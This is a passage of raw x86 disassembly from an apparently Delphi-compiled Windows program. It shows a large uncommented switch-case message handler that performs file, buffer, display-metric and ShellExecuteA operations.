mov ecx, 0x400
call fcn.004047c4
mov ecx, dword [ebp - 0x994]
mov eax, 0x538560
mov edx, dword [0x538548]
call fcn.00404860
mov eax, dword [0x538560]
call fcn.004e7c60
lea eax, [ebp - 0x998]
mov edx, dword [0x538560]
call fcn.00404e18
mov eax, dword [ebp - 0x998]
mov dx, 0xffff
call fcn.0046c804
mov dword [0x53055c], eax
cmp dword [0x53055c], 0
jne 0x4d8a90
push 0
push 0
mov eax, dword [0x538560]
push eax
push 0
push 0
mov ecx, dword [0x538564]
mov edx, 0xc3
mov eax, dword [ebp - 0x28]
call fcn.004d3220
jmp case.0x4d4db8.10
xor eax, eax
push ebp
push 0x4d8abe
push dword fs:[eax]
mov dword fs:[eax], esp
push dword [0x538574]
push dword [0x538570]
mov eax, dword [0x53055c]
call fcn.00461f6c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4d8ae3
cmp dword [0x53055c], 0
je 0x4d8a6a
push 0
push 0
mov eax, dword [0x53055c]
call fcn.00461f0c
mov dl, 1
mov eax, dword [0x414440]
call fcn.00403720
mov dword [0x538584], eax
xor eax, eax
mov dword [0x538580], eax
jmp case.0x4d4db8.10
call fcn.004d4354
jmp case.0x4d4db8.10
lea edx, [ebp - 0x99c]
mov eax, 0xa5
call fcn.004a829c
mov eax, dword [ebp - 0x99c]
mov edx, 0x4d9f54
call fcn.0046ba40
lea edx, [ebp - 0x9a0]
mov eax, 0xa5
call fcn.004a829c
mov eax, dword [ebp - 0x9a0]
mov edx, 0x4d9f6c
call fcn.0046ba40
jmp case.0x4d4db8.10
mov edx, dword [0x531818]
mov edx, dword [edx]
lea eax, [ebp - 0x34]
mov ecx, 0x4d9f84
call fcn.00404860
mov eax, dword [ebp - 0x34]
call fcn.0046c474
test al, al
jne 0x4d8bd9
lea eax, [ebp - 0x9a4]
mov edx, dword [ebp - 0x34]
call fcn.00404e18
mov eax, dword [ebp - 0x9a4]
mov dx, 0xffff
call fcn.0046c804
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x4d8bd9
mov eax, dword [0x530568]
call fcn.00404814
push eax
mov eax, 0x530568
call fcn.00404a64
mov edx, eax
mov eax, dword [ebp - 0x20]
pop ecx
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x20]
call fcn.00403750
push 1
push 0x4d9e58
push 0x4d9e58
lea eax, [ebp - 0x34]
call fcn.00404a64
push eax
push 0x4d9e40
push 0
call sub.shell32.dll_ShellExecuteA
jmp case.0x4d4db8.10
mov eax, dword [0x5318dc]
cmp dword [eax], 0
jne case.0x4d4db8.10
xor ecx, ecx
mov dl, 1
mov eax, dword [0x4b0d70]
call fcn.0041f1c4
mov edx, dword [0x5318dc]
mov dword [edx], eax
jmp case.0x4d4db8.10
mov eax, dword [0x53714c]
mov eax, dword [eax + 0x314]
cmp byte [eax + 0x94], 0
je case.0x4d4db8.10
lea edx, [ebp - 0x9a8]
lea eax, [ebx + 0x20]
call fcn.00409e5c
mov edx, dword [ebp - 0x9a8]
mov eax, dword [0x53714c]
mov eax, dword [eax + 0x314]
call fcn.0049d19c
jmp case.0x4d4db8.10
push 0
push 1
push 0
push 0
push 0
xor ecx, ecx
mov edx, 0xd4
mov eax, dword [ebp - 0x28]
call fcn.004d3220
jmp case.0x4d4db8.10
mov eax, dword [ebx + 0x14]
mov dword [0x538498], eax
push 0
push 0x3e8
push 0
push 0x3c
mov eax, dword [ebx + 0x10]
cdq
call fcn.004058cc
call fcn.004058cc
mov dword [0x5304e0], eax
mov dword [0x5304e4], edx
cmp dword [0x5304e4], 0
jne 0x4d8ccc
cmp dword [0x5304e0], 0
jbe case.0x4d4db8.10
jmp 0x4d8cd2
jle case.0x4d4db8.10
mov eax, dword [0x52fedc]
mov edx, dword [0x52fee0]
add eax, dword [0x5304e0]
adc edx, dword [0x5304e4]
mov dword [0x5304e0], eax
mov dword [0x5304e4], edx
jmp case.0x4d4db8.10
mov eax, dword [ebx + 0x14]
mov dword [0x538498], eax
push 0
push 0x3e8
mov eax, dword [ebx + 0x10]
cdq
call fcn.004058cc
mov dword [0x5304e0], eax
mov dword [0x5304e4], edx
cmp dword [0x5304e4], 0
jne 0x4d8d37
cmp dword [0x5304e0], 0
jbe case.0x4d4db8.10
jmp 0x4d8d3d
jle case.0x4d4db8.10
mov eax, dword [0x52fedc]
mov edx, dword [0x52fee0]
add eax, dword [0x5304e0]
adc edx, dword [0x5304e4]
mov dword [0x5304e0], eax
mov dword [0x5304e4], edx
jmp case.0x4d4db8.10
mov eax, dword [ebx + 0x10]
movzx edx, word [0x53835c]
cmp eax, edx
jne case.0x4d4db8.10
mov eax, 0x5384a8
mov dl, 1
call fcn.004e6e1c
test al, al
je case.0x4d4db8.10
mov eax, dword [0x5384a8]
call fcn.00404e38
cmp eax, dword [0x5384ac]
jle 0x4d8dc5
cmp dword [ebx + 0x14], 1
jne case.0x4d4db8.10
push 0
push 0
push 0
mov ecx, 1
mov edx, 0xba
mov eax, dword [ebp - 0x28]
call fcn.004d33bc
jmp case.0x4d4db8.10
mov eax, dword [0x5384a8]
call fcn.00404e38
test eax, eax
jne 0x4d8dfa
cmp dword [ebx + 0x14], 1
jne case.0x4d4db8.10
push 0
push 0
push 0
mov ecx, 2
mov edx, 0xba
mov eax, dword [ebp - 0x28]
call fcn.004d33bc
jmp case.0x4d4db8.10
cmp byte [ebx + 0xc], 0xed
jne 0x4d8e27
movzx eax, word [0x53835c]
push eax
mov eax, dword [ebx + 0x14]
shl eax, 8
push eax
mov ecx, dword [0x5384a8]
mov edx, 0x10
mov eax, dword [ebp - 0x28]
call fcn.004d345c
jmp case.0x4d4db8.10
movzx eax, word [0x53835c]
push eax
mov eax, dword [ebx + 0x14]
shl eax, 8
push eax
mov ecx, dword [0x5384a8]
mov edx, 0xd
mov eax, dword [ebp - 0x28]
call fcn.004d345c
jmp case.0x4d4db8.10
movzx eax, word [0x53835c]
cmp eax, dword [ebx + 0x10]
jne case.0x4d4db8.10
cmp byte [0x5304f8], 0
je case.0x4d4db8.10
movzx ecx, word [0x53835c]
mov edx, 0x13
mov eax, dword [0x5384bc]
call fcn.004d35d4
jmp case.0x4d4db8.10
mov eax, dword [ebx + 0x10]
movzx edx, word [0x53835c]
cmp eax, edx
jne case.0x4d4db8.10
mov eax, dword [0x5384b0]
call fcn.004195c8
cmp edx, 0
jne 0x4d8eb2
cmp eax, 0
jbe case.0x4d4db8.10
jmp 0x4d8eb8
jle case.0x4d4db8.10
movzx ecx, word [0x53835c]
mov edx, 0x14
mov eax, dword [0x5384b0]
call fcn.004d35d4
jmp case.0x4d4db8.10
mov eax, dword [ebx + 0x10]
movzx edx, word [0x53835c]
cmp eax, edx
jne case.0x4d4db8.10
lea edx, [ebp - 0xd4]
mov eax, 0x28
call fcn.004a8b2c
cmp dword [ebx + 0x14], 0
jne 0x4d8f1e
lea eax, [ebp - 0x9ac]
mov edx, dword [ebp - 0xd4]
call fcn.00404e18
mov eax, dword [ebp - 0x9ac]
mov dl, 1
call fcn.004e6eb0
jmp case.0x4d4db8.10
cmp dword [ebx + 0x14], 2
jne case.0x4d4db8.10
lea eax, [ebp - 0x9b0]
mov edx, dword [ebp - 0xd4]
call fcn.00404e18
mov eax, dword [ebp - 0x9b0]
mov dl, 1
call fcn.004e6f40
jmp case.0x4d4db8.10
push 0
push 1
push 0
push 0
push 0
xor ecx, ecx
mov edx, 0xf7
mov eax, dword [ebp - 0x28]
call fcn.004d3220
jmp case.0x4d4db8.10
cmp dword [0x53055c], 0
jne 0x4d8fb0
mov eax, dword [ebx + 0x10]
cmp eax, dword [0x538588]
jne case.0x4d4db8.10
cmp byte [0x53857c], 0
je case.0x4d4db8.10
push 0
push 0
push 0
push 0
push 0
mov ecx, dword [0x538588]
mov edx, 0xc4
mov eax, dword [ebp - 0x28]
call fcn.004d3220
jmp case.0x4d4db8.10
mov eax, dword [ebx + 0x10]
cmp eax, dword [0x538564]
jne case.0x4d4db8.10
push 0
push 0x400
mov eax, dword [0x538570]
mov edx, dword [0x538574]
add eax, 0x3ff
adc edx, 0
call fcn.004058f0
mov ebx, eax
cmp ebx, dword [0x538580]
jbe 0x4d9007
mov edx, dword [0x538580]
mov eax, dword [0x538584]
call fcn.00416c00
inc dword [0x538580]
cmp ebx, dword [0x538580]
ja 0x4d8fe9
lea ebx, [ebp - 0x7a0]
lea edi, [ebx + 0x20]
mov eax, dword [0x538584]
mov esi, dword [eax + 8]
dec esi
xor eax, eax
mov dword [ebp - 0x48], eax
test esi, esi
jl 0x4d9040
mov edx, esi
mov eax, dword [0x538584]
call fcn.00416d5c
mov dword [edi], eax
add edi, 4
dec esi
inc dword [ebp - 0x48]
cmp dword [ebp - 0x48], 0x140
jne 0x4d901e
mov byte [ebx + 0xd], 0xc
mov byte [ebx + 0xc], 0xfe
mov byte [ebx + 0xe], 0
sub edi, ebx
mov dword [ebx + 4], edi
mov eax, dword [ebx + 4]
sub eax, 0x20
test eax, eax
jns 0x4d905e
add eax, 3
sar eax, 2
mov dword [ebx + 0x10], eax
mov eax, dword [0x538564]
mov dword [ebx + 0x14], eax
mov edx, ebx
mov eax, dword [ebp - 0x28]
call fcn.004d2f04
jmp case.0x4d4db8.10
mov eax, dword [ebx + 0x10]
mov dword [0x5304e8], eax
mov eax, dword [ebx + 0x14]
mov dword [0x5304ec], eax
jmp case.0x4d4db8.10
mov eax, dword [ebx + 0x10]
mov dword [0x52ff80], eax
jmp case.0x4d4db8.10
lea edx, [ebp - 0x34]
lea eax, [ebx + 0x20]
call fcn.00409e5c
lea eax, [ebp - 0x34]
call fcn.004d1d04
mov eax, dword [ebp - 0x34]
call fcn.0046c474
test al, al
je case.0x4d4db8.10
mov byte [ebp - 0xc9], 0
lea eax, [ebp - 0x9b4]
mov edx, dword [ebp - 0x34]
call fcn.00404e18
mov eax, dword [ebp - 0x9b4]
lea ecx, [ebp - 0xbc]
lea edx, [ebp - 0xc8]
call fcn.0046d194
lea edx, [ebp - 0xc4]
mov eax, 1
call fcn.004a829c
mov al, byte [0x4d9f94]
push eax
lea eax, [ebp - 0xc0]
push eax
lea edx, [ebp - 0x9bc]
mov eax, dword [0x531a4c]
mov eax, dword [eax]
call fcn.00409a28
mov edx, dword [ebp - 0x9bc]
lea eax, [ebp - 0x9b8]
call fcn.00404e18
mov eax, dword [ebp - 0x9b8]
push eax
lea eax, [ebp - 0x9c0]
mov edx, dword [ebp - 0xc4]
call fcn.00404e18
mov edx, dword [ebp - 0x9c0]
mov eax, dword [ebp - 0xbc]
pop ecx
call fcn.004eca04
mov eax, dword [ebp - 0xc0]
mov edx, dword [ebp - 0xbc]
call fcn.00404f50
je case.0x4d4db8.10
lea eax, [ebp - 0x9c4]
mov edx, dword [ebp - 0x34]
call fcn.00404e18
mov eax, dword [ebp - 0x9c4]
mov ecx, dword [ebp - 0xc0]
mov edx, dword [ebp - 0xc8]
call fcn.0046d270
jmp case.0x4d4db8.10
mov eax, dword [0x537154]
call fcn.0049c9d0
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e06ec
mov byte [0x52ff3c], 1
call fcn.004d43bc
xor edx, edx
mov eax, 4
call fcn.004d43dc
jmp case.0x4d4db8.10
mov al, byte [0x52ff28]
xor al, 1
mov byte [0x52ff28], al
cmp byte [0x52ff28], 0
je 0x4d9210
push 0
call sub.user32.dll_GetDC
mov edi, eax
test edi, edi
je 0x4d9210
push 0x58
push edi
call sub.gdi32.dll_GetDeviceCaps
mov dword [0x52ffc0], eax
push 0x5a
push edi
call sub.gdi32.dll_GetDeviceCaps
mov dword [0x52ffc4], eax
push edi
push 0
call sub.user32.dll_ReleaseDC
jmp 0x4d9224
mov dword [0x52ffc0], 0x60
mov dword [0x52ffc4], 0x60
call fcn.004d133c
jmp case.0x4d4db8.10
mov al, byte [0x4d9e50]
push eax
lea eax, [ebp - 0xe4]
push eax
lea eax, [ebp - 0x9c8]
lea edx, [ebx + 0x20]
mov ecx, 0x400
call fcn.004047c4
mov eax, dword [ebp - 0x9c8]
mov ecx, 0x4d9fa0
mov edx, 0x4d9fac
call fcn.0040d8bc
lea eax, [ebp - 0xe4]
call fcn.00404a64
mov dword [ebp - 0xf8], eax
lea edx, [ebp - 0xe8]
lea eax, [ebp - 0xf8]
call fcn.0046ae00
lea eax, [ebp - 0xe8]
call fcn.004d1d04
lea edx, [ebp - 0xec]
lea eax, [ebp - 0xf8]
call fcn.0046ae00
lea edx, [ebp - 0xf0]
lea eax, [ebp - 0xf8]
call fcn.0046ae00
lea edx, [ebp - 0xf4]
lea eax, [ebp - 0xf8]
call fcn.0046ae00
lea eax, [ebp - 0x9cc]
mov edx, dword [ebp - 0xf0]
call fcn.00404e18
mov eax, dword [ebp - 0x9cc]
push eax
lea eax, [ebp - 0x9d0]
mov edx, dword [ebp - 0xf4]
call fcn.00404e18
mov eax, dword [ebp - 0x9d0]
push eax
mov eax, dword [ebx + 0x14]
push eax
xor eax, eax
mov al, byte [ebx + 0xc]
push eax
lea eax, [ebp - 0x9d4]
mov edx, dword [ebp - 0xec]
call fcn.00404e18
mov ecx, dword [ebp - 0x9d4]
mov edx, dword [ebx + 0x10]
mov eax, dword [ebp - 0xe8]
call fcn.004da3cc
mov dword [ebp - 0x48], eax
cmp byte [ebx + 0xc], 0xff
jne 0x4d9346
push 0
push 0
push 0
mov ecx, dword [ebp - 0x48]
mov edx, 0xc1
mov eax, dword [ebp - 0x28]
call fcn.004d33bc
jmp case.0x4d4db8.10
push 0
push 0
push 0
mov ecx, dword [ebp - 0x48]
mov edx, 0xbe
mov eax, dword [ebp - 0x28]
call fcn.004d33bc
jmp case.0x4d4db8.10
lea edx, [ebp - 0xe4]
lea eax, [ebx + 0x20]
call fcn.00409e5c
lea eax, [ebp - 0xe4]
call fcn.0046c850
mov eax, dword [ebx + 0x14]
push eax
mov ecx, dword [ebx + 0x10]
and ecx, 0xffff
mov edx, dword [ebx + 0x10]
shr edx, 0x10
mov eax, dword [ebp - 0xe4]
call fcn.004da058
jmp case.0x4d4db8.10
lea edx, [ebp - 0xe4]
lea eax, [ebx + 0x20]
call fcn.00409e5c
lea eax, [ebp - 0xe4]
call fcn.004d1d04
mov eax, dword [ebp - 0xe4]
call fcn.0046c474
test al, al
je case.0x4d4db8.10
mov dl, 1
mov eax, dword [ebp - 0xe4]
call fcn.004df9e4
jmp case.0x4d4db8.10
push 0
push 1
push 0
push 0
push 0
xor ecx, ecx
mov edx, 0xf4
mov eax, dword [ebp - 0x28]
call fcn.004d3220
jmp case.0x4d4db8.10
mov byte [0x53853c], 0
jmp case.0x4d4db8.10
mov eax, dword [ebx + 0x10]
mov dword [0x538540], eax
jmp case.0x4d4db8.10
mov eax, dword [ebx + 0x10]
call fcn.0040305c
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
inc eax
call fcn.004d0bb8
mov eax, 3
call fcn.0040305c
mov dword [ebp - 0x48], eax
lea edx, [ebp - 0xe4]
mov eax, dword [ebp - 0x48]
call fcn.004d3c90
cmp dword [ebp - 0xe4], 0
jne 0x4d945a
lea eax, [ebp - 0xe4]
mov edx, 0x4d9fbc
call fcn.004045f4
push 0
push 0
lea eax, [ebp - 0xe4]
call fcn.00404a64
push eax
xor ecx, ecx
mov edx, 0xc0
mov eax, dword [ebp - 0x28]
call fcn.004d33bc
jmp case.0x4d4db8.10
call fcn.0040b024
add esp, 0xfffffff8
fstp qword [esp]
wait
lea edx, [ebp - 0xe4]
mov eax, 0x4d9fcc
call fcn.0040bc38
push 0
push 0
lea eax, [ebp - 0xe4]
call fcn.00404a64
push eax
xor ecx, ecx
mov edx, 0xc4
mov eax, dword [ebp - 0x28]
call fcn.004d33bc
jmp case.0x4d4db8.10
mov eax, dword [ebx + 0x10]
mov dword [ebp - 0x108], eax
mov eax, dword [ebx + 0x14]
mov dword [ebp - 0x104], eax
push dword [ebp - 0x104]
push dword [ebp - 0x108]
call fcn.004d1838
jmp case.0x4d4db8.10
mov dl, 1
mov eax, dword [0x414aa4]
call fcn.00403720
mov esi, eax
lea eax, [ebp - 0x9d8]
lea edx, [ebx + 0x20]
mov ecx, 0x400
call fcn.004047c4
mov edx, dword [ebp - 0x9d8]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea ecx, [ebp - 0xe8]
xor edx, edx
mov eax, esi
mov edi, dword [eax]
call dword [edi + 0xc]
lea ecx, [ebp - 0xec]
mov edx, 1
mov eax, esi
mov edi, dword [eax]
call dword [edi + 0xc]
lea ecx, [ebp - 0xf0]
mov edx, 2
mov eax, esi
mov edi, dword [eax]
call dword [edi + 0xc]
lea ecx, [ebp - 0xf4]
mov edx, 3
mov eax, esi
mov edi, dword [eax]
call dword [edi + 0xc]
lea eax, [ebp - 0xe8]
call fcn.004d1d04
lea eax, [ebp - 0x9e4]
mov edx, dword [ebp - 0xe8]
call fcn.00404e18
mov eax, dword [ebp - 0x9e4]
lea ecx, [ebp - 0x9e0]
lea edx, [ebp - 0xfc]
call fcn.0046d194
mov edx, dword [ebp - 0x9e0]
lea eax, [ebp - 0x9dc]
call fcn.004047dc
mov edx, dword [ebp - 0x9dc]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x2c]
cmp dword [ebp - 0xfc], 0xfffffffd
jne 0x4d95d4
test byte [ebx + 0x10], 1
jne 0x4d95d4
push 0
push 0
push 0
or ecx, 0xffffffff
mov edx, 0xc2
mov eax, dword [ebp - 0x28]
call fcn.004d33bc
jmp 0x4d96ab
cmp dword [ebp - 0xfc], 0xfffffffe
jne 0x4d95fa
push 0
push 0
push 0
mov ecx, 0xfffffffe
mov edx, 0xc2
mov eax, dword [ebp - 0x28]
call fcn.004d33bc
jmp 0x4d96ab
mov eax, dword [ebp - 0xf0]
push eax
mov eax, dword [ebp - 0xf4]
push eax
xor edx, edx
mov dl, byte [ebx + 0xc]
mov ecx, dword [ebp - 0xec]
mov eax, esi
call fcn.004d46f0
mov eax, dword [ebp - 0xe8]
call fcn.004e7c60
lea edx, [ebp - 0x9ec]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov edx, dword [ebp - 0x9ec]
lea eax, [ebp - 0x9e8]
call fcn.00404e18
mov eax, dword [ebp - 0x9e8]
push eax
lea eax, [ebp - 0x9f0]
mov edx, dword [ebp - 0xe8]
call fcn.00404e18
mov eax, dword [ebp - 0x9f0]
mov edx, dword [ebp - 0xfc]
pop ecx
call fcn.0046d270
mov dword [ebp - 0xfc], eax
cmp dword [ebp - 0xfc], 0
jl 0x4d9693
push 0
push 0
push 0
xor ecx, ecx
mov edx, 0xc2
mov eax, dword [ebp - 0x28]
call fcn.004d33bc
jmp 0x4d96ab
push 0
push 0
push 0
mov ecx, 0xfffffffd
mov edx, 0xc2
mov eax, dword [ebp - 0x28]
call fcn.004d33bc
mov eax, esi
call fcn.00403750
jmp case.0x4d4db8.10
mov dword [0x53834c], 1
jmp case.0x4d4db8.10
xor eax, eax
call fcn.004e8034
jmp case.0x4d4db8.95
call fcn.004e8018
jmp case.0x4d4db8.95
lea edx, [ebp - 0xe4]
lea eax, [ebx + 0x20]
call fcn.00409e5c
lea eax, [ebp - 0x9f4]
mov edx, dword [ebp - 0xe4]
call fcn.00404e18
mov eax, dword [ebp - 0x9f4]
lea ecx, [ebp - 0xbc]
lea edx, [ebp - 0xfc]
call fcn.0046d194
cmp dword [ebp - 0xfc], 0
jl case.0x4d4db8.10
mov eax, dword [ebx + 0x10]
cmp eax, dword [ebp - 0xfc]
je case.0x4d4db8.10
lea eax, [ebp - 0x9f8]
mov edx, dword [ebp - 0xe4]
call fcn.00404e18
mov eax, dword [ebp - 0x9f8]
mov edx, dword [ebx + 0x10]
mov ecx, dword [ebp - 0xbc]
call fcn.0046d270
jmp case.0x4d4db8.10
cmp dword [0x52ff90], 0
je 0x4d9767
mov dword [ebp - 0x48], 1
jmp 0x4d976c
xor eax, eax
mov dword [ebp - 0x48], eax
push 0
push 0
push 0
mov ecx, dword [ebp - 0x48]
mov edx, 0xc3
mov eax, dword [ebp - 0x28]
call fcn.004d33bc
jmp case.0x4d4db8.10
lea edx, [ebp - 0xe4]
lea eax, [ebx + 0x20]
call fcn.00409e5c
mov edx, dword [ebp - 0xe4]
mov eax, 0x4d9fe8
call fcn.00404b50
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x9fc]
push eax
mov ecx, dword [ebp - 0x48]
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xe4]
call fcn.00404a6c
mov eax, dword [ebp - 0x9fc]
push eax
lea eax, [ebp - 0xa00]
mov edx, dword [0x5314f0]
mov edx, dword [edx]
call fcn.00404e18
mov eax, dword [ebp - 0xa00]
mov edx, 0x4d9ff4
pop ecx
call fcn.0046c2d4
mov eax, dword [ebx + 0x10]
cdq
push edx
push eax
lea eax, [ebp - 0xa04]
mov edx, dword [0x5314f0]
mov edx, dword [edx]
call fcn.00404e18
mov eax, dword [ebp - 0xa04]
mov edx, 0x4da004
call fcn.0046c084
mov eax, dword [ebx + 0x14]
cdq
push edx
push eax
lea eax, [ebp - 0xa08]
mov edx, dword [0x5314f0]
mov edx, dword [edx]
call fcn.00404e18
mov eax, dword [ebp - 0xa08]
mov edx, 0x4da018
call fcn.0046c084
lea eax, [ebp - 0xa0c]
push eax
mov edx, dword [ebp - 0x48]
inc edx
mov ecx, 0x400
mov eax, dword [ebp - 0xe4]
call fcn.00404a6c
mov eax, dword [ebp - 0xa0c]
push eax
lea eax, [ebp - 0xa10]
mov edx, dword [0x5314f0]
mov edx, dword [edx]
call fcn.00404e18
mov eax, dword [ebp - 0xa10]
mov edx, 0x4da02c
pop ecx
call fcn.0046c2d4
jmp case.0x4d4db8.10
lea edx, [ebp - 0xa14]
lea eax, [ebx + 0x20]
call fcn.00409e5c
mov edx, dword [ebp - 0xa14]
mov eax, 0x5384ec
call fcn.004045b0
mov eax, dword [ebp - 0x48]
mov eax, dword [ebx + eax*4 + 0x10]
mov dword [0x530520], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
call fcn.0049c9d0
cmp dword [0x530520], 0
jle case.0x4d4db8.10
mov edx, dword [0x5384ec]
mov eax, 0x4da040
call fcn.00404b50
test eax, eax
jle 0x4d991a
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
xor edx, edx
call fcn.0049c7a0
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
mov edx, dword [0x5384ec]
call fcn.0049c89c
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
xor edx, edx
call fcn.0049c81c
jmp 0x4d994e
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
mov dl, 1
call fcn.0049c7a0
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
xor edx, edx
call fcn.0049c89c
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
mov edx, dword [0x5384ec]
call fcn.0049c81c
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
mov edx, dword [0x530520]
call fcn.0049c91c
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x320]
call fcn.0049c9c8
jmp case.0x4d4db8.10
mov al, byte [ebx + 0x10]
mov byte [0x52ff94], al
jmp case.0x4d4db8.10
inc byte [0x52ff94]
mov eax, dword [0x52fecc]
call fcn.004ed67c
movsx edx, byte [0x52ff94]
cmp eax, edx
jg case.0x4d4db8.10
mov byte [0x52ff94], 0xff
jmp case.0x4d4db8.10
lea edx, [ebp - 0xa1c]
lea eax, [ebx + 0x20]
call fcn.00409e5c
mov edx, dword [ebp - 0xa1c]
lea eax, [ebp - 0xa18]
call fcn.00404e18
mov eax, dword [ebp - 0xa18]
push eax
mov edx, dword [0x531818]
mov edx, dword [edx]
lea eax, [ebp - 0xa24]
mov ecx, 0x4da04c
call fcn.00404860
mov edx, dword [ebp - 0xa24]
lea eax, [ebp - 0xa20]
call fcn.00404e18
mov eax, dword [ebp - 0xa20]
xor edx, edx
pop ecx
call fcn.0046d270
jmp case.0x4d4db8.10
mov eax, dword [0x531838]
mov eax, dword [eax]
xor edx, edx
call fcn.004b0a84
jmp case.0x4d4db8.10
mov eax, dword [0x538504]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jle case.0x4d4db8.10
mov eax, dword [0x53130c]
cmp dword [eax], 0
jne 0x4d9a43
call fcn.004cbdd8
mov eax, dword [0x531230]
cmp dword [eax], 0
jne 0x4d9a52
call fcn.004cd0f8
mov eax, dword [0x5313ec]
cmp dword [eax], 0
jne 0x4d9a61
call fcn.004cd854
movsx eax, word [0x5384f8]
mov dword [0x538500], eax
mov ax, word [0x5384f8]
cmp ax, word [0x5384fa]
jge 0x4d9a97
movsx eax, word [0x5384fa]
movsx edx, word [0x5384f8]
sub eax, edx
call fcn.0040305c
add dword [0x538500], eax
mov dword [0x538508], 0xffffffff
mov byte [0x530528], 1
jmp case.0x4d4db8.105
mov byte [0x530528], 0
jmp case.0x4d4db8.105
mov ax, word [ebx + 0x10]
mov word [0x5384f8], ax
mov eax, dword [ebx + 0x10]
shr eax, 0x10
mov word [0x5384fa], ax
mov al, byte [ebx + 0x14]
and al, 1
mov byte [0x5384fc], al
lea edx, [ebp - 0xa28]
lea eax, [ebx + 0x20]
call fcn.00409e5c
mov edx, dword [ebp - 0xa28]
mov eax, dword [0x538504]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
mov eax, dword [0x538504]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jne case.0x4d4db8.10
mov byte [0x530528], 0
jmp case.0x4d4db8.10
cmp byte [0x530528], 0
je 0x4d9b1a
mov dword [ebp - 0x48], 1
jmp 0x4d9b1f
xor eax, eax
mov dword [ebp - 0x48], eax
push 0
push 0
push 0
mov ecx, dword [ebp - 0x48]
mov edx, 0xc5
mov eax, dword [ebp - 0x28]
call fcn.004d33bc
xor eax, eax
mov dword [0x52fed4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d9dce
lea eax, [ebp - 0xa28]
mov edx, 2
call fcn.00404580
lea eax, [ebp - 0xa20]
call fcn.00404c78
lea eax, [ebp - 0xa1c]
call fcn.0040455c
lea eax, [ebp - 0xa18]
call fcn.00404c78
lea eax, [ebp - 0xa14]
call fcn.0040455c
lea eax, [ebp - 0xa10]
call fcn.00404c78
lea eax, [ebp - 0xa0c]
call fcn.0040455c
lea eax, [ebp - 0xa08]
mov edx, 3
call fcn.00404c90
lea eax, [ebp - 0x9fc]
call fcn.0040455c
lea eax, [ebp - 0x9f8]
mov edx, 3
call fcn.00404c90
lea eax, [ebp - 0x9ec]
call fcn.0040455c
lea eax, [ebp - 0x9e8]
mov edx, 3
call fcn.00404c90
lea eax, [ebp - 0x9dc]
mov edx, 2
call fcn.00404580
lea eax, [ebp - 0x9d4]
mov edx, 3
call fcn.00404c90
lea eax, [ebp - 0x9c8]
call fcn.0040455c
lea eax, [ebp - 0x9c4]
mov edx, 2
call fcn.00404c90
lea eax, [ebp - 0x9bc]
call fcn.0040455c
lea eax, [ebp - 0x9b8]
mov edx, 4
call fcn.00404c90
lea eax, [ebp - 0x9a8]
call fcn.0040455c
lea eax, [ebp - 0x9a4]
call fcn.00404c78
lea eax, [ebp - 0x9a0]
mov edx, 2
call fcn.00404580
lea eax, [ebp - 0x998]
call fcn.00404c78
lea eax, [ebp - 0x994]
mov edx, 0xb
call fcn.00404580
lea eax, [ebp - 0x968]
call fcn.00404c78
lea eax, [ebp - 0x964]
mov edx, 6
call fcn.00404580
lea eax, [ebp - 0x94c]
call fcn.00404c78
lea eax, [ebp - 0x948]
mov edx, 9
call fcn.00404580
lea eax, [ebp - 0x924]
mov edx, 2
call fcn.00404c90
lea eax, [ebp - 0x91c]
mov edx, 9
call fcn.00404580
lea eax, [ebp - 0x8f8]
call fcn.00404c78
lea eax, [ebp - 0x8f4]
mov edx, 4
call fcn.00404580
lea eax, [ebp - 0x8e4]
call fcn.00404c78
lea eax, [ebp - 0x8e0]
call fcn.0040455c
lea eax, [ebp - 0x8dc]
call fcn.00404c78
lea eax, [ebp - 0x8d8]
mov edx, 3
call fcn.00404580
lea eax, [ebp - 0x8cc]
call fcn.00404c78
lea eax, [ebp - 0x8c8]
mov edx, 3
call fcn.00404580
lea eax, [ebp - 0x6c]
call fcn.0040455c
lea eax, [ebp - 0x64]
mov edx, 4
call fcn.00404580
lea eax, [ebp - 0x3c]
mov edx, 3
call fcn.00404580
lea eax, [ebp - 0x19]
mov edx, dword [0x4eb670]
call fcn.004052d0
lea eax, [ebp - 0xf4]
mov edx, 7
call fcn.00404580
lea eax, [ebp - 0xd4]
mov edx, 2
call fcn.00404580
lea eax, [ebp - 0xc4]
call fcn.0040455c
lea eax, [ebp - 0xc0]
mov edx, 2
call fcn.00404c90
lea eax, [ebp - 0x9c]
call fcn.0040455c
lea eax, [ebp - 0x88]
call fcn.0040455c
lea eax, [ebp - 0x78]
mov edx, 2
call fcn.00404580
ret